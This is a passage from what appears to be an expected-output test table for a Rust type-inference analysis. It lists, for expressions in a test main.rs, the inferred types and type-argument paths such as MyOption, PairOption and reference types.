main.rs:656:15:656:17 | Snd | -| main.rs:688:10:688:10 | t | | main.rs:648:5:654:5 | PairOption | -| main.rs:688:10:688:10 | t | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:688:10:688:10 | t | Snd | main.rs:648:5:654:5 | PairOption | -| main.rs:688:10:688:10 | t | Snd.Fst | main.rs:670:5:671:14 | S2 | -| main.rs:688:10:688:10 | t | Snd.Snd | main.rs:673:5:674:14 | S3 | -| main.rs:689:13:689:13 | x | | main.rs:673:5:674:14 | S3 | -| main.rs:689:17:689:17 | t | | main.rs:648:5:654:5 | PairOption | -| main.rs:689:17:689:17 | t | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:689:17:689:17 | t | Snd | main.rs:648:5:654:5 | PairOption | -| main.rs:689:17:689:17 | t | Snd.Fst | main.rs:670:5:671:14 | S2 | -| main.rs:689:17:689:17 | t | Snd.Snd | main.rs:673:5:674:14 | S3 | -| main.rs:689:17:689:29 | t.unwrapSnd() | | main.rs:648:5:654:5 | PairOption | -| main.rs:689:17:689:29 | t.unwrapSnd() | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:689:17:689:29 | t.unwrapSnd() | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:689:17:689:41 | ... .unwrapSnd() | | main.rs:673:5:674:14 | S3 | -| main.rs:690:26:690:26 | x | | main.rs:673:5:674:14 | S3 | -| main.rs:695:13:695:14 | p1 | | main.rs:648:5:654:5 | PairOption | -| main.rs:695:13:695:14 | p1 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:695:13:695:14 | p1 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:695:26:695:53 | ...::PairBoth(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:695:26:695:53 | ...::PairBoth(...) | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:695:26:695:53 | ...::PairBoth(...) | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:695:47:695:48 | S1 | | main.rs:667:5:668:14 | S1 | -| main.rs:695:51:695:52 | S2 | | main.rs:670:5:671:14 | S2 | -| main.rs:696:26:696:27 | p1 | | main.rs:648:5:654:5 | PairOption | -| main.rs:696:26:696:27 | p1 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:696:26:696:27 | p1 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:699:13:699:14 | p2 | | main.rs:648:5:654:5 | PairOption | -| main.rs:699:13:699:14 | p2 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:699:13:699:14 | p2 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:699:26:699:47 | ...::PairNone(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:699:26:699:47 | ...::PairNone(...) | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:699:26:699:47 | ...::PairNone(...) | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:700:26:700:27 | p2 | | main.rs:648:5:654:5 | PairOption | -| main.rs:700:26:700:27 | p2 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:700:26:700:27 | p2 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:703:13:703:14 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:703:13:703:14 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:703:13:703:14 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:703:34:703:56 | ...::PairSnd(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:703:34:703:56 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:703:34:703:56 | ...::PairSnd(...) | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:703:54:703:55 | S3 | | main.rs:673:5:674:14 | S3 | -| main.rs:704:26:704:27 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:704:26:704:27 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:704:26:704:27 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:707:13:707:14 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:707:13:707:14 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:707:13:707:14 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:707:35:707:56 | ...::PairNone(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:707:35:707:56 | ...::PairNone(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:707:35:707:56 | ...::PairNone(...) | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:708:26:708:27 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:708:26:708:27 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:708:26:708:27 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:710:11:710:54 | ...::PairSnd(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Snd | main.rs:648:5:654:5 | PairOption | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Snd.Fst | main.rs:670:5:671:14 | S2 | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Snd.Snd | main.rs:673:5:674:14 | S3 | -| main.rs:710:31:710:53 | ...::PairSnd(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:710:31:710:53 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:710:31:710:53 | ...::PairSnd(...) | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:710:51:710:52 | S3 | | main.rs:673:5:674:14 | S3 | -| main.rs:723:16:723:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:723:16:723:24 | SelfParam | &T | main.rs:721:5:728:5 | Self [trait MyTrait] | -| main.rs:723:27:723:31 | value | | main.rs:721:19:721:19 | S | -| main.rs:725:21:725:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:725:21:725:29 | SelfParam | &T | main.rs:721:5:728:5 | Self [trait MyTrait] | -| main.rs:725:32:725:36 | value | | main.rs:721:19:721:19 | S | -| main.rs:726:13:726:16 | self | | file://:0:0:0:0 | & | -| main.rs:726:13:726:16 | self | &T | main.rs:721:5:728:5 | Self [trait MyTrait] | -| main.rs:726:22:726:26 | value | | main.rs:721:19:721:19 | S | -| main.rs:732:16:732:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:732:16:732:24 | SelfParam | &T | main.rs:715:5:719:5 | MyOption | -| main.rs:732:16:732:24 | SelfParam | &T.T | main.rs:730:10:730:10 | T | -| main.rs:732:27:732:31 | value | | main.rs:730:10:730:10 | T | -| main.rs:736:26:738:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:736:26:738:9 | { ... } | T | main.rs:735:10:735:10 | T | -| main.rs:737:13:737:30 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:737:13:737:30 | ...::MyNone(...) | T | main.rs:735:10:735:10 | T | -| main.rs:742:20:742:23 | SelfParam | | main.rs:715:5:719:5 | MyOption | -| main.rs:742:20:742:23 | SelfParam | T | main.rs:715:5:719:5 | MyOption | -| main.rs:742:20:742:23 | SelfParam | T.T | main.rs:741:10:741:10 | T | -| main.rs:742:41:747:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:742:41:747:9 | { ... } | T | main.rs:741:10:741:10 | T | -| main.rs:743:13:746:13 | match self { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:743:13:746:13 | match self { ... } | T | main.rs:741:10:741:10 | T | -| main.rs:743:19:743:22 | self | | main.rs:715:5:719:5 | MyOption | -| main.rs:743:19:743:22 | self | T | main.rs:715:5:719:5 | MyOption | -| main.rs:743:19:743:22 | self | T.T | main.rs:741:10:741:10 | T | -| main.rs:744:39:744:56 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:744:39:744:56 | ...::MyNone(...) | T | main.rs:741:10:741:10 | T | -| main.rs:745:34:745:34 | x | | main.rs:715:5:719:5 | MyOption | -| main.rs:745:34:745:34 | x | T | main.rs:741:10:741:10 | T | -| main.rs:745:40:745:40 | x | | main.rs:715:5:719:5 | MyOption | -| main.rs:745:40:745:40 | x | T | main.rs:741:10:741:10 | T | -| main.rs:754:13:754:14 | x1 | | main.rs:715:5:719:5 | MyOption | -| main.rs:754:18:754:37 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:755:26:755:27 | x1 | | main.rs:715:5:719:5 | MyOption | -| main.rs:757:13:757:18 | mut x2 | | main.rs:715:5:719:5 | MyOption | -| main.rs:757:13:757:18 | mut x2 | T | main.rs:750:5:751:13 | S | -| main.rs:757:22:757:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:757:22:757:36 | ...::new(...) | T | main.rs:750:5:751:13 | S | -| main.rs:758:9:758:10 | x2 | | main.rs:715:5:719:5 | MyOption | -| main.rs:758:9:758:10 | x2 | T | main.rs:750:5:751:13 | S | -| main.rs:758:16:758:16 | S | | main.rs:750:5:751:13 | S | -| main.rs:759:26:759:27 | x2 | | main.rs:715:5:719:5 | MyOption | -| main.rs:759:26:759:27 | x2 | T | main.rs:750:5:751:13 | S | -| main.rs:761:13:761:18 | mut x3 | | main.rs:715:5:719:5 | MyOption | -| main.rs:761:22:761:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:762:9:762:10 | x3 | | main.rs:715:5:719:5 | MyOption | -| main.rs:762:21:762:21 | S | | main.rs:750:5:751:13 | S | -| main.rs:763:26:763:27 | x3 | | main.rs:715:5:719:5 | MyOption | -| main.rs:765:13:765:18 | mut x4 | | main.rs:715:5:719:5 | MyOption | -| main.rs:765:13:765:18 | mut x4 | T | main.rs:750:5:751:13 | S | -| main.rs:765:22:765:36 | ...::new(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:765:22:765:36 | ...::new(...) | T | main.rs:750:5:751:13 | S | -| main.rs:766:23:766:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:766:23:766:29 | &mut x4 | &T | main.rs:715:5:719:5 | MyOption | -| main.rs:766:23:766:29 | &mut x4 | &T.T | main.rs:750:5:751:13 | S | -| main.rs:766:28:766:29 | x4 | | main.rs:715:5:719:5 | MyOption | -| main.rs:766:28:766:29 | x4 | T | main.rs:750:5:751:13 | S | -| main.rs:766:32:766:32 | S | | main.rs:750:5:751:13 | S | -| main.rs:767:26:767:27 | x4 | | main.rs:715:5:719:5 | MyOption | -| main.rs:767:26:767:27 | x4 | T | main.rs:750:5:751:13 | S | -| main.rs:769:13:769:14 | x5 | | main.rs:715:5:719:5 | MyOption | -| main.rs:769:13:769:14 | x5 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:769:13:769:14 | x5 | T.T | main.rs:750:5:751:13 | S | -| main.rs:769:18:769:58 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:769:18:769:58 | ...::MySome(...) | T | main.rs:715:5:719:5 | MyOption | -| main.rs:769:18:769:58 | ...::MySome(...) | T.T | main.rs:750:5:751:13 | S | -| main.rs:769:35:769:57 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:769:35:769:57 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:770:26:770:27 | x5 | | main.rs:715:5:719:5 | MyOption | -| main.rs:770:26:770:27 | x5 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:770:26:770:27 | x5 | T.T | main.rs:750:5:751:13 | S | -| main.rs:772:13:772:14 | x6 | | main.rs:715:5:719:5 | MyOption | -| main.rs:772:13:772:14 | x6 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:772:13:772:14 | x6 | T.T | main.rs:750:5:751:13 | S | -| main.rs:772:18:772:58 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:772:18:772:58 | ...::MySome(...) | T | main.rs:715:5:719:5 | MyOption | -| main.rs:772:18:772:58 | ...::MySome(...) | T.T | main.rs:750:5:751:13 | S | -| main.rs:772:35:772:57 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:772:35:772:57 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:773:26:773:61 | ...::flatten(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:773:26:773:61 | ...::flatten(...) | T | main.rs:750:5:751:13 | S | -| main.rs:773:59:773:60 | x6 | | main.rs:715:5:719:5 | MyOption | -| main.rs:773:59:773:60 | x6 | T | main.rs:715:5:719:5 | MyOption | -| main.rs:773:59:773:60 | x6 | T.T | main.rs:750:5:751:13 | S | -| main.rs:775:13:775:19 | from_if | | main.rs:715:5:719:5 | MyOption | -| main.rs:775:13:775:19 | from_if | T | main.rs:750:5:751:13 | S | -| main.rs:775:23:779:9 | if ... {...} else {...} | | main.rs:715:5:719:5 | MyOption | -| main.rs:775:23:779:9 | if ... {...} else {...} | T | main.rs:750:5:751:13 | S | -| main.rs:775:36:777:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:775:36:777:9 | { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:776:13:776:30 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:776:13:776:30 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:777:16:779:9 | { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:777:16:779:9 | { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:778:13:778:31 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:778:13:778:31 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | -| main.rs:778:30:778:30 | S | | main.rs:750:5:751:13 | S | -| main.rs:780:26:780:32 | from_if | | main.rs:715:5:719:5 | MyOption | -| main.rs:780:26:780:32 | from_if | T | main.rs:750:5:751:13 | S | -| main.rs:782:13:782:22 | from_match | | main.rs:715:5:719:5 | MyOption | -| main.rs:782:13:782:22 | from_match | T | main.rs:750:5:751:13 | S | -| main.rs:782:26:785:9 | match ... { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:782:26:785:9 | match ... { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:783:21:783:38 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:783:21:783:38 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:784:22:784:40 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:784:22:784:40 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | -| main.rs:784:39:784:39 | S | | main.rs:750:5:751:13 | S | -| main.rs:786:26:786:35 | from_match | | main.rs:715:5:719:5 | MyOption | -| main.rs:786:26:786:35 | from_match | T | main.rs:750:5:751:13 | S | -| main.rs:788:13:788:21 | from_loop | | main.rs:715:5:719:5 | MyOption | -| main.rs:788:13:788:21 | from_loop | T | main.rs:750:5:751:13 | S | -| main.rs:788:25:793:9 | loop { ... } | | main.rs:715:5:719:5 | MyOption | -| main.rs:788:25:793:9 | loop { ... } | T | main.rs:750:5:751:13 | S | -| main.rs:790:23:790:40 | ...::MyNone(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:790:23:790:40 | ...::MyNone(...) | T | main.rs:750:5:751:13 | S | -| main.rs:792:19:792:37 | ...::MySome(...) | | main.rs:715:5:719:5 | MyOption | -| main.rs:792:19:792:37 | ...::MySome(...) | T | main.rs:750:5:751:13 | S | -| main.rs:792:36:792:36 | S | | main.rs:750:5:751:13 | S | -| main.rs:794:26:794:34 | from_loop | | main.rs:715:5:719:5 | MyOption | -| main.rs:794:26:794:34 | from_loop | T | main.rs:750:5:751:13 | S | -| main.rs:807:15:807:18 | SelfParam | | main.rs:800:5:801:19 | S | -| main.rs:807:15:807:18 | SelfParam | T | main.rs:806:10:806:10 | T | -| main.rs:807:26:809:9 | { ... } | | main.rs:806:10:806:10 | T | -| main.rs:808:13:808:16 | self | | main.rs:800:5:801:19 | S | -| main.rs:808:13:808:16 | self | T | main.rs:806:10:806:10 | T | -| main.rs:808:13:808:18 | self.0 | | main.rs:806:10:806:10 | T | -| main.rs:811:15:811:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:811:15:811:19 | SelfParam | &T | main.rs:800:5:801:19 | S | -| main.rs:811:15:811:19 | SelfParam | &T.T | main.rs:806:10:806:10 | T | -| main.rs:811:28:813:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:811:28:813:9 | { ... } | &T | main.rs:806:10:806:10 | T | -| main.rs:812:13:812:19 | &... | | file://:0:0:0:0 | & | -| main.rs:812:13:812:19 | &... | &T | main.rs:806:10:806:10 | T | -| main.rs:812:14:812:17 | self | | file://:0:0:0:0 | & | -| main.rs:812:14:812:17 | self | &T | main.rs:800:5:801:19 | S | -| main.rs:812:14:812:17 | self | &T.T | main.rs:806:10:806:10 | T | -| main.rs:812:14:812:19 | self.0 | | main.rs:806:10:806:10 | T | -| main.rs:815:15:815:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:815:15:815:25 | SelfParam | &T | main.rs:800:5:801:19 | S | -| main.rs:815:15:815:25 | SelfParam | &T.T | main.rs:806:10:806:10 | T | -| main.rs:815:34:817:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:815:34:817:9 | { ... } | &T | main.rs:806:10:806:10 | T | -| main.rs:816:13:816:19 | &... | | file://:0:0:0:0 | & | -| main.rs:816:13:816:19 | &... | &T | main.rs:806:10:806:10 | T | -| main.rs:816:14:816:17 | self | | file://:0:0:0:0 | & | -| main.rs:816:14:816:17 | self | &T | main.rs:800:5:801:19 | S | -| main.rs:816:14:816:17 | self | &T.T | main.rs:806:10:806:10 | T | -| main.rs:816:14:816:19 | self.0 | | main.rs:806:10:806:10 | T | -| main.rs:821:13:821:14 | x1 | | main.rs:800:5:801:19 | S | -| main.rs:821:13:821:14 | x1 | T | main.rs:803:5:804:14 | S2 | -| main.rs:821:18:821:22 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:821:18:821:22 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:821:20:821:21 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:822:26:822:27 | x1 | | main.rs:800:5:801:19 | S | -| main.rs:822:26:822:27 | x1 | T | main.rs:803:5:804:14 | S2 | -| main.rs:822:26:822:32 | x1.m1() | | main.rs:803:5:804:14 | S2 | -| main.rs:824:13:824:14 | x2 | | main.rs:800:5:801:19 | S | -| main.rs:824:13:824:14 | x2 | T | main.rs:803:5:804:14 | S2 | -| main.rs:824:18:824:22 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:824:18:824:22 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:824:20:824:21 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:826:26:826:27 | x2 | | main.rs:800:5:801:19 | S | -| main.rs:826:26:826:27 | x2 | T | main.rs:803:5:804:14 | S2 | -| main.rs:826:26:826:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:826:26:826:32 | x2.m2() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:827:26:827:27 | x2 | | main.rs:800:5:801:19 | S | -| main.rs:827:26:827:27 | x2 | T | main.rs:803:5:804:14 | S2 | -| main.rs:827:26:827:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:827:26:827:32 | x2.m3() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:829:13:829:14 | x3 | | main.rs:800:5:801:19 | S | -| main.rs:829:13:829:14 | x3 | T | main.rs:803:5:804:14 | S2 | -| main.rs:829:18:829:22 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:829:18:829:22 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:829:20:829:21 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:831:26:831:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:831:26:831:41 | ...::m2(...) | &T | main.rs:803:5:804:14 | S2 | -| main.rs:831:38:831:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:831:38:831:40 | &x3 | &T | main.rs:800:5:801:19 | S | -| main.rs:831:38:831:40 | &x3 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:831:39:831:40 | x3 | | main.rs:800:5:801:19 | S | -| main.rs:831:39:831:40 | x3 | T | main.rs:803:5:804:14 | S2 | -| main.rs:832:26:832:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:832:26:832:41 | ...::m3(...) | &T | main.rs:803:5:804:14 | S2 | -| main.rs:832:38:832:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:832:38:832:40 | &x3 | &T | main.rs:800:5:801:19 | S | -| main.rs:832:38:832:40 | &x3 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:832:39:832:40 | x3 | | main.rs:800:5:801:19 | S | -| main.rs:832:39:832:40 | x3 | T | main.rs:803:5:804:14 | S2 | -| main.rs:834:13:834:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:834:13:834:14 | x4 | &T | main.rs:800:5:801:19 | S | -| main.rs:834:13:834:14 | x4 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:834:18:834:23 | &... | | file://:0:0:0:0 | & | -| main.rs:834:18:834:23 | &... | &T | main.rs:800:5:801:19 | S | -| main.rs:834:18:834:23 | &... | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:834:19:834:23 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:834:19:834:23 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:834:21:834:22 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:836:26:836:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:836:26:836:27 | x4 | &T | main.rs:800:5:801:19 | S | -| main.rs:836:26:836:27 | x4 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:836:26:836:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:836:26:836:32 | x4.m2() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:837:26:837:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:837:26:837:27 | x4 | &T | main.rs:800:5:801:19 | S | -| main.rs:837:26:837:27 | x4 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:837:26:837:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:837:26:837:32 | x4.m3() | &T | main.rs:803:5:804:14 | S2 | -| main.rs:839:13:839:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:839:13:839:14 | x5 | &T | main.rs:800:5:801:19 | S | -| main.rs:839:13:839:14 | x5 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:839:18:839:23 | &... | | file://:0:0:0:0 | & | -| main.rs:839:18:839:23 | &... | &T | main.rs:800:5:801:19 | S | -| main.rs:839:18:839:23 | &... | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:839:19:839:23 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:839:19:839:23 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:839:21:839:22 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:841:26:841:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:841:26:841:27 | x5 | &T | main.rs:800:5:801:19 | S | -| main.rs:841:26:841:27 | x5 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:841:26:841:32 | x5.m1() | | main.rs:803:5:804:14 | S2 | -| main.rs:842:26:842:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:842:26:842:27 | x5 | &T | main.rs:800:5:801:19 | S | -| main.rs:842:26:842:27 | x5 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:842:26:842:29 | x5.0 | | main.rs:803:5:804:14 | S2 | -| main.rs:844:13:844:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:844:13:844:14 | x6 | &T | main.rs:800:5:801:19 | S | -| main.rs:844:13:844:14 | x6 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:844:18:844:23 | &... | | file://:0:0:0:0 | & | -| main.rs:844:18:844:23 | &... | &T | main.rs:800:5:801:19 | S | -| main.rs:844:18:844:23 | &... | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:844:19:844:23 | S(...) | | main.rs:800:5:801:19 | S | -| main.rs:844:19:844:23 | S(...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:844:21:844:22 | S2 | | main.rs:803:5:804:14 | S2 | -| main.rs:846:26:846:30 | (...) | | main.rs:800:5:801:19 | S | -| main.rs:846:26:846:30 | (...) | T | main.rs:803:5:804:14 | S2 | -| main.rs:846:26:846:35 | ... .m1() | | main.rs:803:5:804:14 | S2 | -| main.rs:846:27:846:29 | * ... | | main.rs:800:5:801:19 | S | -| main.rs:846:27:846:29 | * ... | T | main.rs:803:5:804:14 | S2 | -| main.rs:846:28:846:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:846:28:846:29 | x6 | &T | main.rs:800:5:801:19 | S | -| main.rs:846:28:846:29 | x6 | &T.T | main.rs:803:5:804:14 | S2 | -| main.rs:853:16:853:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:853:16:853:20 | SelfParam | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:856:16:856:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:856:16:856:20 | SelfParam | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:856:32:858:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:856:32:858:9 | { ... } | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:857:13:857:16 | self | | file://:0:0:0:0 | & | -| main.rs:857:13:857:16 | self | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:857:13:857:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:857:13:857:22 | self.foo() | &T | main.rs:851:5:859:5 | Self [trait MyTrait] | -| main.rs:865:16:865:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:865:16:865:20 | SelfParam | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:865:36:867:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:865:36:867:9 | { ... } | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:866:13:866:16 | self | | file://:0:0:0:0 | & | -| main.rs:866:13:866:16 | self | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:871:13:871:13 | x | | main.rs:861:5:861:20 | MyStruct | -| main.rs:871:17:871:24 | MyStruct | | main.rs:861:5:861:20 | MyStruct | -| main.rs:872:9:872:9 | x | | main.rs:861:5:861:20 | MyStruct | -| main.rs:872:9:872:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:872:9:872:15 | x.bar() | &T | main.rs:861:5:861:20 | MyStruct | -| main.rs:882:16:882:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:882:16:882:20 | SelfParam | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:882:16:882:20 | SelfParam | &T.T | main.rs:881:10:881:10 | T | -| main.rs:882:32:884:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:882:32:884:9 | { ... } | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:882:32:884:9 | { ... } | &T.T | main.rs:881:10:881:10 | T | -| main.rs:883:13:883:16 | self | | file://:0:0:0:0 | & | -| main.rs:883:13:883:16 | self | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:883:13:883:16 | self | &T.T | main.rs:881:10:881:10 | T | -| main.rs:888:13:888:13 | x | | main.rs:879:5:879:26 | MyStruct | -| main.rs:888:13:888:13 | x | T | main.rs:877:5:877:13 | S | -| main.rs:888:17:888:27 | MyStruct(...) | | main.rs:879:5:879:26 | MyStruct | -| main.rs:888:17:888:27 | MyStruct(...) | T | main.rs:877:5:877:13 | S | -| main.rs:888:26:888:26 | S | | main.rs:877:5:877:13 | S | -| main.rs:889:9:889:9 | x | | main.rs:879:5:879:26 | MyStruct | -| main.rs:889:9:889:9 | x | T | main.rs:877:5:877:13 | S | -| main.rs:889:9:889:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:889:9:889:15 | x.foo() | &T | main.rs:879:5:879:26 | MyStruct | -| main.rs:889:9:889:15 | x.foo() | &T.T | main.rs:877:5:877:13 | S | -| main.rs:897:15:897:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:897:15:897:19 | SelfParam | &T | main.rs:894:5:894:13 | S | -| main.rs:897:31:899:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:897:31:899:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:898:13:898:19 | &... | | file://:0:0:0:0 | & | -| main.rs:898:13:898:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:898:14:898:19 | &... | | file://:0:0:0:0 | & | -| main.rs:898:14:898:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:898:15:898:19 | &self | | file://:0:0:0:0 | & | -| main.rs:898:15:898:19 | &self | &T | main.rs:894:5:894:13 | S | -| main.rs:898:16:898:19 | self | | file://:0:0:0:0 | & | -| main.rs:898:16:898:19 | self | &T | main.rs:894:5:894:13 | S | -| main.rs:901:15:901:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:901:15:901:25 | SelfParam | &T | main.rs:894:5:894:13 | S | -| main.rs:901:37:903:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:901:37:903:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:902:13:902:19 | &... | | file://:0:0:0:0 | & | -| main.rs:902:13:902:19 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:902:14:902:19 | &... | | file://:0:0:0:0 | & | -| main.rs:902:14:902:19 | &... | &T | 